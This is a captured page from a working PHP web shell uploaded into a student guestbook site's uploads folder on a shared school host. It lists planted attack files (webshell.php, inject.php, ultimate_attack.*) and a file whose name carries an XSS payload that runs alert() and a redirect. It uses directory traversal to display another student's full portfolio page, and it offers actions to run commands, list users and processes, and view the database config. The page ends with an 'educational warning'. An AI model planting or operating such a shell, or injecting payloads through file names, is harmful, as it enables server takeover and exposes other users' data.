🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ../../../../587164.klas4s23.mid-ica.nl/public_html/index.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="description" content="Artem Kosikhin - Creative Software Developer Portfolio" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta http-equiv="Content-Security-Policy" content="default-src 'self' https:; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net https://fonts.googleapis.com; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net https://fonts.googleapis.com https://fonts.gstatic.com; font-src 'self' https://fonts.gstatic.com https://cdn.jsdelivr.net data:; img-src 'self' data: https: https://cdn.jsdelivr.net; connect-src 'self';" />
    <meta http-equiv="X-Frame-Options" content="DENY" />
    <meta http-equiv="X-Content-Type-Options" content="nosniff" />
    <meta name="referrer" content="no-referrer" />
    <meta name="robots" content="index, follow" />
    <title>Artem Kosikhin - Software Developer</title>
    <link rel="icon" href="images/favicon.ico" type="image/png" size="32x32" />
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Space+Grotesk:wght@300;400;500;600;700&family=Syne:wght@400;500;600;700;800&display=swap" rel="stylesheet" />
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/devicons/devicon@latest/devicon.min.css" />
    <link rel="stylesheet" href="style.css" />
  </head>
  <body>
    <!-- Preloader - Retro Boot Screen -->
    <div class="preloader" id="preloader">
      <div class="boot-screen">
        <div class="boot-header">
          <span class="boot-brand">AK_SYSTEMS</span>
          <span class="boot-version">v2.0.25</span>
        </div>
        <div class="boot-terminal">
          <div class="boot-line" data-delay="0">[<span class="boot-ok">OK</span>] Initializing core systems...</div>
          <div class="boot-line" data-delay="200">[<span class="boot-ok">OK</span>] Loading assets...</div>
          <div class="boot-line" data-delay="400">[<span class="boot-ok">OK</span>] Establishing connection...</div>
          <div class="boot-line" data-delay="600">[<span class="boot-ok">OK</span>] Portfolio ready</div>
        </div>
        <div class="boot-progress-container">
          <div class="boot-progress-bar">
            <div class="boot-progress-fill"></div>
          </div>
          <span class="boot-percentage">0%</span>
        </div>
        <div class="boot-footer">
          <span class="boot-status">SYSTEM BOOT</span>
          <span class="boot-cursor">_</span>
        </div>
      </div>
    </div>

    <!-- Custom Cursor -->
    <div class="cursor"></div>
    <div class="cursor-follower"></div>

    <!-- Floating Particles Background -->
    <div class="particles" id="particles"></div>

    <!-- Noise Overlay -->
    <div class="noise"></div>

    <!-- Back to Top Button -->
    <button class="back-to-top" id="backToTop" aria-label="Back to top">
      <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
        <path d="M18 15l-6-6-6 6"/>
      </svg>
    </button>

    <!-- Navigation -->
    <nav class="navbar">
      <div class="nav-logo">
        <span class="logo-text" data-text="AK">AK</span>
      </div>
      <ul class="nav-links">
        <li><a href="#hero" class="nav-link" data-text="Home">Home</a></li>
        <li><a href="#about" class="nav-link" data-text="About">About</a></li>
        <li><a href="#skills" class="nav-link" data-text="Skills">Skills</a></li>
        <li><a href="#projects" class="nav-link" data-text="Work">Work</a></li>
        <li><a href="#contact" class="nav-link" data-text="Contact">Contact</a></li>
      </ul>
      <!-- Theme Toggle -->
      <button class="theme-toggle" id="themeToggle" aria-label="Toggle theme">
        <svg class="sun-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
          <circle cx="12" cy="12" r="5"/>
          <path d="M12 1v2M12 21v2M4.22 4.22l1.42 1.42M18.36 18.36l1.42 1.42M1 12h2M21 12h2M4.22 19.78l1.42-1.42M18.36 5.64l1.42-1.42"/>
        </svg>
        <svg class="moon-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
          <path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/>
        </svg>
      </button>
      <div class="menu-toggle">
        <span></span>
        <span></span>
        <span></span>
      </div>
    </nav>

    <!-- Hero Section -->
    <section id="hero" class="hero">
      <div class="hero-content">
        <div class="hero-badge">
          <span class="badge-dot"></span>
          <span>Available for Work</span>
        </div>
        
        <div class="hero-title-wrapper">
          <h1 class="hero-title">
            <span class="title-line">
              <span class="title-word" data-aos="reveal">Software</span>
            </span>
            <span class="title-line">
              <span class="title-word gradient-text" data-aos="reveal">Developer</span>
            </span>
          </h1>
        </div>

        <div class="hero-info">
          <div class="hero-description">
            <p class="reveal-text">Software Developer with a security-first mindset. SSCP certified professional combining clean code with cybersecurity expertise to build robust, secure applications.</p>
          </div>
          
          <div class="hero-profile">
            <div class="profile-image-container">
              <div class="profile-ring"></div>
              <div class="profile-ring ring-2"></div>
              <img src="images/Screenshot 2023-10-30 124310.png" alt="Artem Kosikhin" class="profile-image" />
            </div>
            <div class="profile-details">
              <h2 class="profile-name">Artem Kosikhin</h2>
              <p class="profile-role">Software Developer</p>
            </div>
          </div>
        </div>

        <div class="hero-cta">
          <a href="images/CV_ArtemKosikhin.pdf" download class="btn-primary magnetic">
            <span class="btn-text">Download CV</span>
            <span class="btn-icon">
              <svg width="24" height="24" viewBox="0 0 24 24" fill="none">
                <path d="M12 15L12 3M12 15L8 11M12 15L16 11M3 17V19C3 20.1046 3.89543 21 5 21H19C20.1046 21 21 20.1046 21 19V17" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
              </svg>
            </span>
          </a>
          <a href="#contact" class="btn-secondary magnetic">
            <span class="btn-text">Let's Talk</span>
            <span class="btn-icon">
              <svg width="24" height="24" viewBox="0 0 24 24" fill="none">
                <path d="M5 12H19M19 12L12 5M19 12L12 19" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
              </svg>
            </span>
          </a>
        </div>
      </div>

      <div class="scroll-indicator">
        <div class="mouse">
          <div class="wheel"></div>
        </div>
        <span>Scroll to explore</span>
      </div>

      <!-- Floating Elements -->
      <div class="floating-shapes">
        <div class="shape shape-1"></div>
        <div class="shape shape-2"></div>
        <div class="shape shape-3"></div>
        <div class="shape shape-4"></div>
      </div>
    </section>

    <!-- About Section -->
    <section id="about" class="about-section">
      <div class="section-header">
        <span class="section-tag">01</span>
        <h2 class="section-title split-text">About Me</h2>
        <div class="title-decoration"></div>
      </div>

      <div class="about-content">
        <div class="about-text">
          <p class="about-description reveal-up">
            Motivated Software Developer with hands-on experience in full-stack development, system administration, and IT infrastructure. I build clean, efficient applications while keeping security at the forefront of everything I create.
          </p>
          <p class="about-description reveal-up">
            SSCP certified with knowledge in cybersecurity operations, I bring a unique perspective to developmentβ€”writing code that's not just functional, but secure. Experienced with Microsoft Azure, Active Directory, and modern development frameworks.
          </p>
        </div>

        <div class="about-cards">
          <div class="info-card glass-card" data-tilt>
            <div class="card-icon">
              <svg width="40" height="40" viewBox="0 0 24 24" fill="none">
                <path d="M16 18L22 12L16 6M8 6L2 12L8 18" stroke="url(#gradient1)" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                <defs><linearGradient id="gradient1" x1="2" y1="6" x2="22" y2="18"><stop stop-color="#667eea"/><stop offset="1" stop-color="#764ba2"/></linearGradient></defs>
              </svg>
            </div>
            <h3>Development</h3>
            <p>Full-Stack Developer<br/>Security-Focused</p>
            <div class="card-glow"></div>
          </div>

          <div class="info-card glass-card" data-tilt>
            <div class="card-icon">
              <svg width="40" height="40" viewBox="0 0 24 24" fill="none">
                <path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" stroke="url(#gradient2)" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                <defs><linearGradient id="gradient2" x1="4" y1="2" x2="20" y2="22"><stop stop-color="#f093fb"/><stop offset="1" stop-color="#f5576c"/></linearGradient></defs>
              </svg>
            </div>
            <h3>Security</h3>
            <p>SSCP Certified<br/>(ISC)Β² Member</p>
            <div class="card-glow"></div>
          </div>
        </div>
      </div>
    </section>

    <!-- Skills Section -->
    <section id="skills" class="skills-section">
      <div class="section-header">
        <span class="section-tag">02</span>
        <h2 class="section-title split-text">Tech Stack</h2>
        <div class="title-decoration"></div>
      </div>

      <div class="tech-stack-container">
        <!-- Interactive Command Line Header -->
        <div class="stack-terminal">
          <div class="terminal-bar">
            <div class="terminal-dots">
              <span></span><span></span><span></span>
            </div>
            <span class="terminal-title">skills.json</span>
          </div>
          <div class="terminal-content">
            <span class="terminal-prompt">$</span>
            <span class="typing-text">Hover over any skill to see details...</span>
            <span class="terminal-cursor">|</span>
          </div>
        </div>

        <!-- Main Skills Grid -->
        <div class="skills-showcase">
          <!-- Languages Category -->
          <div class="skill-category" data-category="languages">
            <div class="category-header">
              <div class="category-icon">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                  <polyline points="16,18 22,12 16,6"/><polyline points="8,6 2,12 8,18"/>
                </svg>
              </div>
              <h3>Languages</h3>
              <div class="category-line"></div>
            </div>
            <div class="skills-grid">
              <div class="skill-card" data-skill="html" data-level="95" data-years="5+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-html5-plain colored"></i>
                </div>
                <span class="skill-name">HTML5</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 95%"></div>
                </div>
                <span class="skill-percentage">95%</span>
              </div>

              <div class="skill-card" data-skill="css" data-level="90" data-years="5+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-css3-plain colored"></i>
                </div>
                <span class="skill-name">CSS3</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 90%"></div>
                </div>
                <span class="skill-percentage">90%</span>
              </div>

              <div class="skill-card" data-skill="javascript" data-level="85" data-years="4+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-javascript-plain colored"></i>
                </div>
                <span class="skill-name">JavaScript</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 85%"></div>
                </div>
                <span class="skill-percentage">85%</span>
              </div>

              <div class="skill-card" data-skill="php" data-level="80" data-years="3+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-php-plain colored"></i>
                </div>
                <span class="skill-name">PHP</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 80%"></div>
                </div>
                <span class="skill-percentage">80%</span>
              </div>

              <div class="skill-card" data-skill="csharp" data-level="75" data-years="2+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-csharp-plain colored"></i>
                </div>
                <span class="skill-name">C#</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 75%"></div>
                </div>
                <span class="skill-percentage">75%</span>
              </div>

              <div class="skill-card" data-skill="mysql" data-level="80" data-years="3+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-mysql-plain colored"></i>
                </div>
                <span class="skill-name">MySQL</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 80%"></div>
                </div>
                <span class="skill-percentage">80%</span>
              </div>
            </div>
          </div>

          <!-- Frameworks Category -->
          <div class="skill-category" data-category="frameworks">
            <div class="category-header">
              <div class="category-icon">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                  <rect x="3" y="3" width="18" height="18" rx="2"/><path d="M3 9h18M9 21V9"/>
                </svg>
              </div>
              <h3>Frameworks</h3>
              <div class="category-line"></div>
            </div>
            <div class="skills-grid">
              <div class="skill-card" data-skill="react" data-level="70" data-years="2+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-react-original colored"></i>
                </div>
                <span class="skill-name">React</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 70%"></div>
                </div>
                <span class="skill-percentage">70%</span>
              </div>

              <div class="skill-card" data-skill="nodejs" data-level="75" data-years="2+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-nodejs-plain colored"></i>
                </div>
                <span class="skill-name">Node.js</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 75%"></div>
                </div>
                <span class="skill-percentage">75%</span>
              </div>

              <div class="skill-card" data-skill="unity" data-level="65" data-years="2+">
                <div class="skill-glow"></div>
                <div class="skill-icon-wrapper">
                  <i class="devicon-unity-plain" style="color: #ffffff;"></i>
                </div>
                <span class="skill-name">Unity</span>
                <div class="skill-level-bar">
                  <div class="level-fill" style="--level: 65%"></div>
                </div>
                <span class="skill-percentage">65%</span>
              </div>
            </div>
          </div>

          <!-- Tools Category -->
          <div class="skill-category" data-category="tools">
            <div class="category-header">
              <div class="category-icon">
                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                  <path d="M14.7 6.3a1 1 0 000 1.4l1.6 1.6a1 1 0 001.4 0l3.77-3.77a6 6 0 01-7.94 7.94l-6.91 6.91a2.12 2.12 0 01-3-3l6.91-6.91a6 6 0 017.94-7.94l-3.76 3.76z"/>
                </svg>
              </div>
              <h3>Tools & Software</h3>
              <div class="category-line"></div>
            </div>
            <div class="tools-showcase">
              <div class="tool-pill" data-tool="VS Code">
                <span class="tool-dot"></span>VS Code
              </div>
              <div class="tool-pill" data-tool="Docker">
                <span class="tool-dot"></span>Docker
              </div>
              <div class="tool-pill" data-tool="Git">
                <span class="tool-dot"></span>Git
              </div>
              <div class="tool-pill" data-tool="PHPStorm">
                <span class="tool-dot"></span>PHPStorm
              </div>
              <div class="tool-pill" data-tool="Visual Studio">
                <span class="tool-dot"></span>Visual Studio
              </div>
              <div class="tool-pill" data-tool="MySQL Workbench">
                <span class="tool-dot"></span>MySQL Workbench
              </div>
              <div class="tool-pill" data-tool="XAMPP">
                <span class="tool-dot"></span>XAMPP
              </div>
              <div class="tool-pill" data-tool="FileZilla">
                <span class="tool-dot"></span>FileZilla
              </div>
              <div class="tool-pill" data-tool="Blender">
                <span class="tool-dot"></span>Blender
              </div>
              <div class="tool-pill" data-tool="GIMP">
                <span class="tool-dot"></span>GIMP
              </div>
              <div class="tool-pill" data-tool="Power Platforms">
                <span class="tool-dot"></span>Power Platforms
              </div>
              <div class="tool-pill" data-tool="AL-Code">
                <span class="tool-dot"></span>AL-Code
              </div>
            </div>
          </div>
        </div>

        <!-- Floating Skill Detail Card -->
        <div class="skill-detail-card" id="skillDetail">
          <div class="detail-header">
            <span class="detail-skill-name">HTML5</span>
            <span class="detail-years">5+ years</span>
          </div>
          <div class="detail-bar-container">
            <div class="detail-bar-fill"></div>
          </div>
          <span class="detail-level">Proficiency: 95%</span>
        </div>
      </div>
    </section>

    <!-- Projects Section - SHOWCASE GALLERY -->
    <section id="projects" class="projects-section">
      <div class="section-header">
        <span class="section-tag">03</span>
        <h2 class="section-title split-text">Featured Work</h2>
        <div class="title-decoration"></div>
      </div>

      <p class="section-subtitle">A collection of projects I've crafted with passion and precision</p>

      <!-- Project Showcase Grid -->
      <div class="showcase-grid">
        
        <!-- Project 1 - Featured -->
        <article class="showcase-card featured" data-category="web">
          <div class="card-image">
            <img src="images/TechnoWire _banner.png" alt="TechnoWire" loading="lazy" />
            <div class="card-overlay">
              <div class="overlay-content">
                <p class="card-description">A modern tech news platform featuring dynamic content management, responsive design, and seamless user experience.</p>
                <div class="card-actions">
                  <a href="./technowire/" target="_blank" class="action-btn primary">
                    <span>View Project</span>
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                      <path d="M5 12h14M12 5l7 7-7 7"/>
                    </svg>
                  </a>
                </div>
              </div>
            </div>
          </div>
          <div class="card-info">
            <div class="card-header">
              <span class="card-number">01</span>
              <div class="card-tags">
                <span class="tag">HTML</span>
                <span class="tag">CSS</span>
                <span class="tag">PHP</span>
              </div>
            </div>
            <h3 class="card-title">TechnoWire</h3>
            <p class="card-subtitle">Tech News Platform</p>
          </div>
          <div class="card-accent"></div>
        </article>

        <!-- Project 2 -->
        <article class="showcase-card" data-category="saas">
          <div class="card-image">
            <img src="images/YARDSUBIMAGE.jpg" alt="Project Yard" loading="lazy" />
            <div class="card-overlay">
              <div class="overlay-content">
                <p class="card-description">A collaborative project management tool with REST API integration, team workspaces, and real-time updates.</p>
                <div class="card-actions">
                  <a href="./yardsub/" target="_blank" class="action-btn primary">
                    <span>View Project</span>
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                      <path d="M5 12h14M12 5l7 7-7 7"/>
                    </svg>
                  </a>
                </div>
              </div>
            </div>
          </div>
          <div class="card-info">
            <div class="card-header">
              <span class="card-number">02</span>
              <div class="card-tags">
                <span class="tag">PHP</span>
                <span class="tag">MySQL</span>
                <span class="tag">API</span>
              </div>
            </div>
            <h3 class="card-title">Project Yard</h3>
            <p class="card-subtitle">Project Management</p>
          </div>
          <div class="card-accent"></div>
        </article>

        <!-- Project 3 -->
        <article class="showcase-card" data-category="game">
          <div class="card-image">
            <img src="images/turbo!_banner.png" alt="Turbo!" loading="lazy" />
            <div class="card-overlay">
              <div class="overlay-content">
                <p class="card-description">A thrilling 3D racing game built in Unity featuring dynamic tracks, smooth controls, and competitive gameplay.</p>
                <div class="card-actions">
                  <a href="./turbo!/" target="_blank" class="action-btn primary">
                    <span>Play Game</span>
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                      <polygon points="5,3 19,12 5,21" fill="currentColor"/>
                    </svg>
                  </a>
                </div>
              </div>
            </div>
          </div>
          <div class="card-info">
            <div class="card-header">
              <span class="card-number">03</span>
              <div class="card-tags">
                <span class="tag">C#</span>
                <span class="tag">Unity</span>
                <span class="tag">3D</span>
              </div>
            </div>
            <h3 class="card-title">Turbo!</h3>
            <p class="card-subtitle">3D Racing Game</p>
          </div>
          <div class="card-accent"></div>
        </article>

        <!-- Project 4 -->
        <article class="showcase-card" data-category="web">
          <div class="card-image">
            <img src="images/gastenboekphot.png" alt="Gasten Boek" loading="lazy" />
            <div class="card-overlay">
              <div class="overlay-content">
                <p class="card-description">A digital guestbook application with admin panel, message moderation, and customizable themes.</p>
                <div class="card-actions">
                  <a href="./gastenboek/" target="_blank" class="action-btn primary">
                    <span>View Project</span>
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                      <path d="M5 12h14M12 5l7 7-7 7"/>
                    </svg>
                  </a>
                </div>
              </div>
            </div>
          </div>
          <div class="card-info">
            <div class="card-header">
              <span class="card-number">06</span>
              <div class="card-tags">
                <span class="tag">PHP</span>
                <span class="tag">MySQL</span>
                <span class="tag">CSS</span>
              </div>
            </div>
            <h3 class="card-title">Gasten Boek</h3>
            <p class="card-subtitle">Digital Guestbook</p>
          </div>
          <div class="card-accent"></div>
        </article>

        <!-- Project 7 -->
        <article class="showcase-card" data-category="education">
          <div class="card-image">
            <img src="images/ELearnerLogo.png" alt="ELearner" loading="lazy" style="background-color: white; padding: 60px; object-fit: contain;" />
            <div class="card-overlay">
              <div class="overlay-content">
                <p class="card-description">An interactive e-learning platform with course management, progress tracking, and interactive quizzes for enhanced learning experiences.</p>
                <div class="card-actions">
                  <a href="./ELearner/" target="_blank" class="action-btn primary">
                    <span>View Project</span>
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                      <path d="M5 12h14M12 5l7 7-7 7"/>
                    </svg>
                  </a>
                </div>
              </div>
            </div>
          </div>
          <div class="card-info">
            <div class="card-header">
              <span class="card-number">07</span>
              <div class="card-tags">
                <span class="tag">React</span>
                <span class="tag">Node.js</span>
                <span class="tag">PostgreSQL</span>
              </div>
            </div>
            <h3 class="card-title">ELearner</h3>
            <p class="card-subtitle">E-Learning Platform</p>
          </div>
          <div class="card-accent"></div>
        </article>

      </div>

      <!-- View More CTA -->
      <div class="showcase-cta">
        <a href="https://github.com/artem-kosikhin" target="_blank" class="github-link magnetic">
          <svg viewBox="0 0 24 24" fill="currentColor" width="24" height="24">
            <path d="M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z"/>
          </svg>
          <span>View More on GitHub</span>
        </a>
      </div>

    </section>

    <!-- Contact Section -->
    <section id="contact" class="contact-section">
      <div class="contact-wrapper">
        <div class="section-header">
          <span class="section-tag">04</span>
          <h2 class="section-title split-text">Get In Touch</h2>
          <div class="title-decoration"></div>
        </div>

        <div class="contact-content">
          <p class="contact-text reveal-up">
            Have a project in mind or just want to chat? Feel free to reach out. I'm always open to discussing new opportunities.
          </p>

          <div class="contact-links">
            <a href="mailto:kosikhin.artem@gmail.com" class="contact-card glass-card" data-tilt>
              <div class="contact-icon">
                <svg width="32" height="32" viewBox="0 0 24 24" fill="none">
                  <path d="M3 8L10.89 13.26C11.2187 13.4793 11.6049 13.5963 12 13.5963C12.3951 13.5963 12.7813 13.4793 13.11 13.26L21 8M5 19H19C19.5304 19 20.0391 18.7893 20.4142 18.4142C20.7893 18.0391 21 17.5304 21 17V7C21 6.46957 20.7893 5.96086 20.4142 5.58579C20.0391 5.21071 19.5304 5 19 5H5C4.46957 5 3.96086 5.21071 3.58579 5.58579C3.21071 5.96086 3 6.46957 3 7V17C3 17.5304 3.21071 18.0391 3.58579 18.4142C3.96086 18.7893 4.46957 19 5 19Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
              </div>
              <span class="contact-label">Email</span>
              <span class="contact-value">kosikhin.artem@gmail.com</span>
              <div class="card-shine"></div>
            </a>

            <a href="https://www.linkedin.com/in/vostok-undefined-445477291/" target="blank" class="contact-card glass-card" data-tilt>
              <div class="contact-icon">
                <svg width="32" height="32" viewBox="0 0 24 24" fill="none">
                  <path d="M16 8C17.5913 8 19.1174 8.63214 20.2426 9.75736C21.3679 10.8826 22 12.4087 22 14V21H18V14C18 13.4696 17.7893 12.9609 17.4142 12.5858C17.0391 12.2107 16.5304 12 16 12C15.4696 12 14.9609 12.2107 14.5858 12.5858C14.2107 12.9609 14 13.4696 14 14V21H10V14C10 12.4087 10.6321 10.8826 11.7574 9.75736C12.8826 8.63214 14.4087 8 16 8Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                  <path d="M6 9H2V21H6V9Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                  <path d="M4 6C5.10457 6 6 5.10457 6 4C6 2.89543 5.10457 2 4 2C2.89543 2 2 2.89543 2 4C2 5.10457 2.89543 6 4 6Z" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
              </div>
              <span class="contact-label">LinkedIn</span>
              <span class="contact-value">Connect with me</span>
              <div class="card-shine"></div>
            </a>

            <a href="https://www.github.com/Vostok-AK" target="_blank" class="contact-card glass-card" data-tilt>
              <div class="contact-icon">
                <svg width="32" height="32" viewBox="0 0 24 24" fill="none">
                  <path d="M9 19C4 20.5 4 16.5 2 16M16 22V18.13C16.0375 17.6532 15.9731 17.1738 15.811 16.7238C15.6489 16.2738 15.3929 15.8634 15.06 15.52C18.2 15.17 21.5 13.98 21.5 8.52C21.4997 7.12383 20.9627 5.7812 20 4.77C20.4559 3.54851 20.4236 2.19835 19.91 1C19.91 1 18.73 0.65 16 2.48C13.708 1.85882 11.292 1.85882 9 2.48C6.27 0.65 5.09 1 5.09 1C4.57638 2.19835 4.54414 3.54851 5 4.77C4.03013 5.7887 3.49252 7.14346 3.5 8.55C3.5 13.97 6.8 15.16 9.94 15.55C9.611 15.89 9.35726 16.2954 9.19531 16.7399C9.03335 17.1844 8.96681 17.6581 9 18.13V22" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
              </div>
              <span class="contact-label">GitHub</span>
              <span class="contact-value">@Vostok-AK</span>
              <div class="card-shine"></div>
            </a>
          </div>
        </div>
      </div>

      <!-- Animated Background -->
      <div class="contact-bg">
        <div class="gradient-orb orb-1"></div>
        <div class="gradient-orb orb-2"></div>
      </div>
    </section>

    <!-- Footer -->
    <footer class="footer">
      <div class="footer-content">
        <div class="footer-logo">
          <span data-text="AK">AK</span>
        </div>
        <p class="footer-text">"Building secure software, one line at a time"</p>
        <p class="footer-copyright">&copy; 2025 Artem Kosikhin. All rights reserved.</p>
      </div>
      <div class="footer-decoration">
        <div class="line"></div>
      </div>
    </footer>

    <script src="script.js"></script>
  </body>
</html>

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!